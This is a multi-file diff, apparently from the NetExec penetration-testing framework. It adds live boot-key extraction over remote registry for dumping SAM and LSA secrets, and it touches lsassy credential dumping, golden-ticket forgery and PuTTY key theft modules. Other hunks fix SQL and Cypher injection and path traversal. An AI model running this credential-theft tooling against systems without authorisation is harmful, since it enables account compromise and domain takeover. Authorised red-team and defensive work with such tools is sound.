||||
bindingPort = ""
|
||||
|
||||
if binding.upper().find(iInterface.get_target().upper()) >= 0:
|
||||
stringBinding = "ncacn_ip_tcp:" + strBinding["aNetworkAddr"][:-1]
|
||||
break
|
||||
elif iInterface.is_fqdn() and binding.upper().find(iInterface.get_target().upper().partition(".")[0]) >= 0:
|
||||
stringBinding = f"ncacn_ip_tcp:{iInterface.get_target()}{bindingPort}"
|
||||
if "stringBinding" not in locals():
|
||||
return True, None
|
||||
try:
|
||||
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||||
rpctransport.setRemoteHost(remoteHost)
|
||||
rpctransport.set_connect_timeout(timeout)
|
||||
rpctransport.connect()
|
||||
rpctransport.disconnect()
|
||||
except Exception as e:
|
||||
logger.debug(f"Exception while connecting to {stringBinding}: {e}")
|
||||
return False, stringBinding
|
||||
else:
|
||||
return True, stringBinding
|
||||
@@ -1,5 +1,6 @@
|
||||
import contextlib
|
||||
import re
|
||||
from binascii import unhexlify
|
||||
|
||||
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
|
||||
from impacket.smbconnection import SessionError
|
||||
@@ -23,10 +24,61 @@ class NXCModule:
|
||||
self.machine_account_hash = None
|
||||
self.cleanup_user = None
|
||||
self.cleanup_hash = None
|
||||
self.system_hive_saved = False
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""NO OPTIONS"""
|
||||
|
||||
def get_boot_key(self, context, dce):
|
||||
"""
|
||||
Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
|
||||
using the already-connected `dce` this module sets up for the SAM/SECURITY
|
||||
hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
|
||||
downloaded at all.
|
||||
|
||||
Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
|
||||
RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
|
||||
RemoteRegistry service via the Service Control Manager -- which needs admin-level
|
||||
rights a plain Backup Operator doesn't have. This module already gets
|
||||
RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
|
||||
works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
|
||||
that connection here.
|
||||
|
||||
Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
|
||||
so the caller can fall back to the full SYSTEM hive save/download path.
|
||||
"""
|
||||
boot_key = b""
|
||||
ans = rrp.hOpenLocalMachine(dce)
|
||||
reg_handle = ans["phKey"]
|
||||
|
||||
for key in ["JD", "Skew1", "GBG", "Data"]:
|
||||
context.log.debug(f"Retrieving class info for Lsa\\{key}")
|
||||
ans = rrp.hBaseRegOpenKey(
|
||||
dce,
|
||||
reg_handle,
|
||||
f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
|
||||
dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
|
||||
samDesired=rrp.KEY_READ,
|
||||
)
|
||||
key_handle = ans["phkResult"]
|
||||
ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
|
||||
class_out = ans["lpClassOut"]
|
||||
if isinstance(class_out, str):
|
||||
class_out = class_out.encode()
|
||||
boot_key += class_out[:-1]
|
||||
rrp.hBaseRegCloseKey(dce, key_handle)
|
||||
|
||||
rrp.hBaseRegCloseKey(dce, reg_handle)
|
||||
|
||||
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
|
||||
boot_key = unhexlify(boot_key)
|
||||
|
||||
final_boot_key = b""
|
||||
for i in range(len(boot_key)):
|
||||
final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
|
||||
|
||||
return final_boot_key
|
||||
|
||||
def on_login(self, context, connection):
|
||||
connection.args.share = "SYSVOL"
|
||||
rand_suffix = gen_random_string(8)
|
||||
@@ -36,8 +88,11 @@ class NXCModule:
|
||||
connection.trigger_winreg()
|
||||
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
|
||||
|
||||
boot_key = None
|
||||
try:
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
|
||||
# Large hives can take minutes to save before the RPC call returns.
|
||||
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
|
||||
for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
|
||||
hRootKey, subKey = self._strip_root_key(dce, hive)
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
@@ -48,17 +103,44 @@ class NXCModule:
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
|
||||
return
|
||||
|
||||
try:
|
||||
context.log.display("Attempting to retrieve boot key live from the remote registry...")
|
||||
boot_key = self.get_boot_key(context, dce)
|
||||
context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
|
||||
except Exception as e:
|
||||
context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
|
||||
boot_key = None
|
||||
|
||||
if boot_key is None:
|
||||
hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
|
||||
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
|
||||
context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
|
||||
try:
|
||||
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
|
||||
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
|
||||
context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
|
||||
self.system_hive_saved = True
|
||||
except Exception as e:
|
||||
context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
|
||||
return
|
||||
except (Exception, KeyboardInterrupt) as e:
|
||||
context.log.fail(f"Unexpected error: {e}")
|
||||
return
|
||||
finally:
|
||||
connection.conn.setTimeout(connection.args.smb_timeout)
|
||||
with contextlib.suppress(Exception):
|
||||
dce.disconnect()
|
||||
|
||||
# copy remote file to local
|
||||
log_path = f"{connection.output_filename}."
|
||||
for hive in ["SAM", "SECURITY", "SYSTEM"]:
|
||||
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
|
||||
hives_to_download = ["SAM", "SECURITY"]
|
||||
if self.system_hive_saved:
|
||||
hives_to_download.append("SYSTEM")
|
||||
for hive in hives_to_download:
|
||||
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
|
||||
connection.conn.setTimeout(connection.args.smb_timeout)
|
||||
|
||||
# read local file
|
||||
try:
|
||||
@@ -84,8 +166,10 @@ class NXCModule:
|
||||
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
|
||||
return
|
||||
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
if boot_key is None:
|
||||
local_operations = LocalOperations(log_path + "SYSTEM")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
|
||||
sam_hashes.dump()
|
||||
sam_hashes.finish()
|
||||
@@ -137,7 +221,9 @@ class NXCModule:
|
||||
connection.create_conn_obj()
|
||||
if connection.hash_login(connection.domain, username, user_hash):
|
||||
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
|
||||
hives = ["SAM", "SECURITY", "SYSTEM"]
|
||||
hives = ["SAM", "SECURITY"]
|
||||
if self.system_hive_saved:
|
||||
hives.append("SYSTEM")
|
||||
all_deleted = True
|
||||
for hive in hives:
|
||||
remote_name = f"{hive}_{rand_suffix}"
|
||||
@@ -194,7 +280,10 @@ class NXCModule:
|
||||
return None, None
|
||||
|
||||
def _print_cleanup_warning(self, context, rand_suffix):
|
||||
context.log.fail(f"Files were not automatically deleted. Please clean up manually: C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}, SYSTEM_{rand_suffix}")
|
||||
paths = f"C:\\Windows\\sysvol\\sysvol\\SECURITY_{rand_suffix}, SAM_{rand_suffix}"
|
||||
if self.system_hive_saved:
|
||||
paths += f", SYSTEM_{rand_suffix}"
|
||||
context.log.fail(f"Files were not automatically deleted. Please clean up manually: {paths}")
|
||||
|
||||
def _strip_root_key(self, dce, key_name):
|
||||
# Let's strip the root key
|
||||
|
||||
@@ -2,12 +2,14 @@
|
||||
import json
|
||||
import socket
|
||||
from os import makedirs
|
||||
from os.path import join
|
||||
from certipy.commands.find import Find
|
||||
from certipy.lib.target import Target, DnsResolver
|
||||
from certipy.lib.formatting import pretty_print
|
||||
from datetime import datetime
|
||||
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -34,7 +36,7 @@ class NXCModule:
|
||||
"""
|
||||
self.vuln = True
|
||||
self.enabled = False
|
||||
self.output_path = f"{NXC_PATH}/modules/certipy-find"
|
||||
self.output_path = join(NXC_PATH, "modules", "certipy-find")
|
||||
self.json = False
|
||||
self.csv = False
|
||||
self.text = False
|
||||
@@ -119,9 +121,9 @@ class NXCModule:
|
||||
if self.json or self.csv or self.text:
|
||||
makedirs(self.output_path, exist_ok=True)
|
||||
|
||||
filename = f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}".replace(":", "-")
|
||||
filename = sanitize_path_component(f"certipy_{connection.hostname}_{connection.host}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}", max_bytes=220)
|
||||
if self.json:
|
||||
with open(f"{self.output_path}/{filename}.json", "w") as f:
|
||||
with open(join(self.output_path, f"{filename}.json"), "w") as f:
|
||||
json.dump(
|
||||
output,
|
||||
f,
|
||||
@@ -131,10 +133,10 @@ class NXCModule:
|
||||
if self.csv:
|
||||
template_output = finder.get_template_output_for_csv(output)
|
||||
ca_output = finder.get_ca_output_for_csv(output)
|
||||
with open(f"{self.output_path}/{filename}-templates.csv", "w") as f:
|
||||
with open(join(self.output_path, f"{filename}-templates.csv"), "w") as f:
|
||||
f.write(template_output)
|
||||
with open(f"{self.output_path}/{filename}-cas.csv", "w") as f:
|
||||
with open(join(self.output_path, f"{filename}-cas.csv"), "w") as f:
|
||||
f.write(ca_output)
|
||||
if self.text:
|
||||
with open(f"{self.output_path}/{filename}.txt", "w") as f:
|
||||
with open(join(self.output_path, f"{filename}.txt"), "w") as f:
|
||||
pretty_print(output, print_func=lambda x: f.write(x + "\n"))
|
||||
@@ -1,6 +1,7 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -63,6 +64,6 @@ class NXCModule:
|
||||
context.log.highlight("\t" + d)
|
||||
data += "\t" + d + "\n"
|
||||
|
||||
log_name = f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
log_name = sanitize_path_component(f"DNS-Enum-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
write_log(data, log_name)
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
@@ -7,8 +7,9 @@ from datetime import datetime
|
||||
from struct import unpack
|
||||
|
||||
from impacket.structure import Structure
|
||||
from os.path import expanduser
|
||||
from os.path import expanduser, join
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
|
||||
@@ -141,7 +142,7 @@ class NXCModule:
|
||||
outdata = [x for x in outdata if not (x["value"] in seen_ips or seen_ips.add(x["value"]))]
|
||||
|
||||
context.log.highlight(f"Found {len(outdata)} records")
|
||||
path = expanduser(f"{NXC_PATH}/logs/{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
path = expanduser(join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}_network_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")))
|
||||
with open(path, "w") as outfile:
|
||||
for row in outdata:
|
||||
if self.showhosts:
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
from datetime import datetime
|
||||
from nxc.helpers.logger import write_log
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import json
|
||||
|
||||
@@ -30,6 +31,6 @@ class NXCModule:
|
||||
|
||||
data.append(cards)
|
||||
|
||||
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
|
||||
log_name = sanitize_path_component(f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log")
|
||||
write_log(json.dumps(data), log_name)
|
||||
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
|
||||
+13
-13
@@ -79,26 +79,26 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
|
||||
if result["password"] is not None:
|
||||
context.log.highlight(f"Found a cleartext password for: {username}:{password}. Adding to the DB and marking user as owned in BH.")
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[password, len(username), username.upper()],
|
||||
)
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
dbconnection.commit()
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
|
||||
if nthash == "aad3b435b51404eeaad3b435b51404ee" or nthash == "31d6cfe0d16ae931b73c59d7e0c089c0":
|
||||
context.log.fail(f"Hash for {username} is expired.")
|
||||
elif username not in found_users and nthash is not None:
|
||||
context.log.highlight(f"Found hashes for: '{username}:{nthash}'. Adding them to the DB and marking user as owned in BH.")
|
||||
found_users.append(username)
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
|
||||
[nthash],
|
||||
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[nthash, len(username), username.upper()],
|
||||
)
|
||||
dbconnection.commit()
|
||||
username = f"{username.upper()}@{domain.upper()}"
|
||||
session = driver.session()
|
||||
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
|
||||
session.run("MATCH (u) WHERE u.name = $username SET u.owned=True RETURN u,u.name,u.owned", username=username)
|
||||
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
|
||||
paths = list(path_to_da.data())
|
||||
|
||||
@@ -118,12 +118,12 @@ def initial_run(connection, cursor):
|
||||
password = getattr(connection, "password", "")
|
||||
nthash = getattr(connection, "nthash", "")
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
|
||||
[password],
|
||||
"UPDATE admin_users SET password = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[password, len(username), username.upper()],
|
||||
)
|
||||
cursor.execute(
|
||||
"UPDATE admin_users SET hash = ? WHERE username LIKE '" + username + "%'",
|
||||
[nthash],
|
||||
"UPDATE admin_users SET hash = ? WHERE upper(substr(username, 1, ?)) = ?",
|
||||
[nthash, len(username), username.upper()],
|
||||
)
|
||||
|
||||
|
||||
@@ -188,7 +188,7 @@ class NXCModule:
|
||||
)
|
||||
if session.smb_session is None:
|
||||
context.log.fail("Couldn't connect to remote host. Password likely expired/changed. Removing from DB.")
|
||||
cursor.execute(f"UPDATE admin_users SET hash = NULL WHERE username LIKE '{username}'")
|
||||
cursor.execute("UPDATE admin_users SET hash = NULL WHERE username = ? COLLATE NOCASE", [f"{username}@{domain_name}"])
|
||||
return False
|
||||
dumper = Dumper(session, timeout=10, time_between_commands=7).load(self.method)
|
||||
if dumper is None:
|
||||
@@ -236,7 +236,7 @@ class NXCModule:
|
||||
for user in compromised_users:
|
||||
for pc in admin_access:
|
||||
if user[0] in pc[1]:
|
||||
cursor.execute(f"SELECT * FROM pc_and_admins WHERE pc_name = '{pc[0]}' AND dumped NOT LIKE 'TRUE'")
|
||||
cursor.execute("SELECT * FROM pc_and_admins WHERE pc_name = ? AND dumped NOT LIKE 'TRUE'", [pc[0]])
|
||||
more_to_dump = cursor.fetchall()
|
||||
if len(more_to_dump) > 0:
|
||||
context.log.display(f"User {user[0]} has more access to {pc[0]}. Attempting to dump.")
|
||||
@@ -247,7 +247,7 @@ class NXCModule:
|
||||
connection.nthash = user[1]
|
||||
try:
|
||||
self.run_lsassy(context, connection, cursor)
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name LIKE '" + pc[0] + "%'")
|
||||
cursor.execute("UPDATE pc_and_admins SET dumped = 'TRUE' WHERE pc_name = ?", [pc[0]])
|
||||
|
||||
process_creds(
|
||||
context,
|
||||
|
||||
@@ -4,6 +4,7 @@ import os
|
||||
from pathlib import Path
|
||||
import re
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -139,8 +140,8 @@ class NXCModule:
|
||||
context.log.fail(f"Regex scan failed for {db_name}.{table_name}: {e}")
|
||||
|
||||
if self.save and all_results:
|
||||
filename = f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json"
|
||||
file_path = Path(f"{NXC_PATH}/modules/mssql-dumper/{filename}").resolve()
|
||||
filename = sanitize_path_component(f"{connection.hostname}_{connection.host}_{datetime.datetime.now().strftime('%Y-%m-%d_%H%M%S')}.json")
|
||||
file_path = (Path(NXC_PATH) / "modules" / "mssql-dumper" / filename).resolve()
|
||||
os.makedirs(file_path.parent, exist_ok=True)
|
||||
with open(file_path, "w") as f:
|
||||
json.dump(all_results, f, indent=2)
|
||||
|
||||
@@ -10,6 +10,7 @@ import tempfile
|
||||
from datetime import datetime
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.protocols.mssql.mssqlexec import MSSQLEXEC
|
||||
|
||||
|
||||
@@ -158,7 +159,7 @@ class NXCModule:
|
||||
return
|
||||
else:
|
||||
self.context.log.display(f"Copying {nano_log_name} to host")
|
||||
filename = os.path.join(self.dir_result, f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log")
|
||||
filename = os.path.join(self.dir_result, sanitize_path_component(f"{self.connection.hostname}_{self.connection.os_arch}_{self.connection.domain}.log"))
|
||||
if self.context.protocol == "smb":
|
||||
with open(filename, "wb+") as dump_file:
|
||||
try:
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
|
||||
@@ -36,9 +38,12 @@ class NXCModule:
|
||||
context.log.highlight(f"C:\\{file_path}")
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt"
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_backup_{found}.txt")
|
||||
export_path = join(NXC_PATH, "modules", "notepad++")
|
||||
path = abspath(join(export_path, filename))
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
from io import BytesIO
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
import re
|
||||
import time
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from impacket.smbconnection import SessionError
|
||||
|
||||
@@ -161,9 +163,12 @@ class NXCModule:
|
||||
content_lines.append(string) # Store the string value only
|
||||
|
||||
# Save to file
|
||||
filename = f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt"
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_notepad_tabstate_{found}.txt")
|
||||
export_path = join(NXC_PATH, "modules", "notepad")
|
||||
path = abspath(join(export_path, filename))
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
makedirs(export_path, exist_ok=True)
|
||||
|
||||
with open(path, "w+") as output_file:
|
||||
|
||||
@@ -1,7 +1,9 @@
|
||||
#!/usr/bin/env python3
|
||||
|
||||
from datetime import datetime, timedelta
|
||||
from os.path import join
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import socket
|
||||
|
||||
@@ -71,7 +73,7 @@ class NXCModule:
|
||||
|
||||
if answers:
|
||||
obsolete_hosts_count = len(answers)
|
||||
filename = f"{NXC_PATH}/logs/{connection.domain}.obsoletehosts.txt"
|
||||
filename = join(NXC_PATH, "logs", sanitize_path_component(f"{connection.domain}.obsoletehosts.txt"))
|
||||
context.log.display(f"{obsolete_hosts_count} Obsolete hosts will be saved to {filename}")
|
||||
with open(filename, "w") as f:
|
||||
for dns_hostname, ip_address, os, pwd_last_set_readable in answers:
|
||||
|
||||
@@ -1,6 +1,8 @@
|
||||
from os import makedirs
|
||||
from os.path import join, abspath
|
||||
from os.path import join
|
||||
from pathlib import Path
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
from io import BytesIO
|
||||
|
||||
@@ -46,9 +48,12 @@ class NXCModule:
|
||||
for line in file_content.splitlines():
|
||||
context.log.highlight(f"\t{line}")
|
||||
if self.export:
|
||||
filename = f"{connection.host}_{directory.get_longname()}_powershell_history.txt"
|
||||
filename = sanitize_path_component(f"{connection.host}_{directory.get_longname()}_powershell_history.txt")
|
||||
export_path = join(NXC_PATH, "modules", "powershell_history")
|
||||
path = abspath(join(export_path, filename))
|
||||
path = Path(export_path, filename).resolve()
|
||||
if Path(export_path).resolve() not in path.parents:
|
||||
context.log.fail(f"Path traversal detected in {filename!r}, skipping")
|
||||
continue
|
||||
makedirs(export_path, exist_ok=True)
|
||||
try:
|
||||
with open(path, "w+") as file:
|
||||
|
||||
@@ -1,9 +1,11 @@
|
||||
import os
|
||||
from pathlib import Path
|
||||
from impacket.krb5.kerberosv5 import getKerberosTGT
|
||||
from impacket.krb5.ccache import CCache
|
||||
from impacket.krb5.types import Principal
|
||||
from impacket.krb5 import constants
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.parsers.ldap_results import parse_result_attributes
|
||||
from nxc.paths import NXC_PATH
|
||||
|
||||
@@ -54,7 +56,7 @@ class NXCModule:
|
||||
context.log.debug(f"Added computer: {computer['sAMAccountName']}")
|
||||
|
||||
# Save computers to file
|
||||
domain_dir = os.path.join(f"{NXC_PATH}/modules/pre2k", connection.domain)
|
||||
domain_dir = os.path.join(NXC_PATH, "modules", "pre2k", sanitize_path_component(connection.domain))
|
||||
output_file_pre2k = os.path.join(domain_dir, "precreated_computers.txt")
|
||||
output_file_non_pre2k = os.path.join(domain_dir, "non_precreated_computers.txt")
|
||||
|
||||
@@ -137,7 +139,10 @@ class NXCModule:
|
||||
try:
|
||||
ccache = CCache()
|
||||
ccache.fromTGT(ticket, sessionKey, sessionKey)
|
||||
ccache_filename = os.path.join(ccache_base_dir, f"{username}.ccache")
|
||||
ccache_filename = Path(ccache_base_dir, sanitize_path_component(f"{username}.ccache")).resolve()
|
||||
if Path(ccache_base_dir).resolve() not in ccache_filename.parents:
|
||||
context.log.fail(f"Path traversal detected in ticket filename for {username!r}, skipping")
|
||||
return
|
||||
ccache.saveFile(ccache_filename)
|
||||
context.log.info(f"Saved ticket in {ccache_filename}")
|
||||
except Exception as e:
|
||||
|
||||
@@ -6,8 +6,10 @@ from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
from impacket.examples.secretsdump import RemoteOperations
|
||||
from os import makedirs
|
||||
from pathlib import Path
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
from nxc.helpers.path import sanitize_path_component
|
||||
from nxc.paths import NXC_PATH
|
||||
import re
|
||||
|
||||
@@ -160,7 +162,10 @@ class NXCModule:
|
||||
makedirs(f"{NXC_PATH}/modules/PuTTY", exist_ok=True)
|
||||
share = session["private_key_path"].split(":")[0] + "$"
|
||||
file_path = session["private_key_path"].split(":")[1]
|
||||
download_path = f"{NXC_PATH}/modules/PuTTY/putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec"
|
||||
download_path = Path(NXC_PATH, "modules", "PuTTY", sanitize_path_component(f"putty_{session['user']}_{session['session_name']}_{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.sec")).resolve()
|
||||
if Path(NXC_PATH, "modules", "PuTTY").resolve() not in download_path.parents:
|
||||
self.context.log.fail(f"Path traversal detected in PuTTY session {session['session_name']!r}, skipping")
|
||||
continue
|
||||
|
||||
buf = BytesIO()
|
||||
with open(download_path, "wb") as file:
|
||||
|
||||
@@ -49,7 +49,7 @@ class NXCModule:
|
||||
self.krbtgt_hash = ""
|
||||
self.aes128_key = ""
|
||||
self.aes256_key = ""
|
||||
self.etype = "rc4"
|
||||
self.etype = "aes256"
|
||||
|
||||
def options(self, context, module_options):
|
||||
"""
|
||||
@@ -59,7 +59,7 @@ class NXCModule:
|
||||
USER Target username to forge the ticket for (default: Administrator)
|
||||
USER_ID RID used as the user ID in the PAC (default: 500)
|
||||
RID RID used for the extra SID (default: 519 = Enterprise Admins)
|
||||
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: rc4)
|
||||
ETYPE Encryption type for the ticket: rc4, aes128, aes256 (default: aes256)
|
||||
|
||||
Examples:
|
||||
netexec ldap <ip> -u <username> -p <password> -M raisechild -o USER=DC01$
|
||||
@@ -69,7 +69,7 @@ class NXCModule:
|
||||
"""
|
||||
self.context = context
|
||||
self.module_options = module_options
|
||||
self.etype = module_options.get("ETYPE", "rc4").lower()
|
||||
self.etype = module_options.get("ETYPE", "aes256").lower()
|
||||
|
||||
def on_admin_login(self, context, connection):
|
||||
self.context = context
|
||||
@@ -300,7 +300,7 @@ class NXCModule:
|
||||
def _createBasicValidationInfo(self, username: str, domain: str, domain_sid: str, groups: list[int], user_rid: int) -> VALIDATION_INFO:
|
||||
kerbdata = KERB_VALIDATION_INFO()
|
||||
|
||||
now_utc = datetime.datetime.now(datetime.timezone.utc)
|
||||
now_utc = datetime.datetime.now(datetime.UTC)
|
||||
now_unix = timegm(now_utc.timetuple())
|
||||
now_filetime = self._getFileTime(now_unix)
|
||||
|
||||
@@ -451,7 +451,7 @@ class NXCModule:
|
||||
pac_infos[PAC_LOGON_INFO] = validation_info.getData() + validation_info.getDataReferents()
|
||||
|
||||
def _buildEncParts(self, as_rep: AS_REP, domain: str, username: str, duration_hours: int, enctype_value: int, pac_infos: dict, key_size: int) -> tuple[EncASRepPart, EncTicketPart, dict]:
|
||||
now_utc = datetime.datetime.now(datetime.timezone.utc)
|
||||
now_utc = datetime.datetime.now(datetime.UTC)
|
||||
end_utc = now_utc + datetime.timedelta(hours=duration_hours)
|
||||
|
||||
enc_ticket_part = EncTicketPart()
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
import base64
|
||||
from Crypto.Cipher import AES
|
||||
from Cryptodome.Cipher import AES
|
||||
from io import BytesIO
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
@@ -83,6 +83,6 @@ class NXCModule:
|
||||
return crypter.decrypt(buf).decode("utf-8")
|
||||
|
||||
def base64_urlsafedecode(self, string):
|
||||
padding = 4 - (len(string) % 4)
|
||||
padding = (4 - len(string) % 4) % 4
|
||||
string += "=" * padding
|
||||
return base64.urlsafe_b64decode(string)
|
||||
+2
-2
@@ -1,6 +1,6 @@
|
||||
from sys import exit
|
||||
|
||||
from nxc.connection import dcom_FirewallChecker
|
||||
from nxc.helpers.rpc import dcom_FirewallChecker
|
||||
from nxc.helpers.misc import CATEGORY
|
||||
|
||||
from impacket.dcerpc.v5 import rrp
|
||||
@@ -248,7 +248,7 @@ class RdpWmi:
|
||||
|
||||
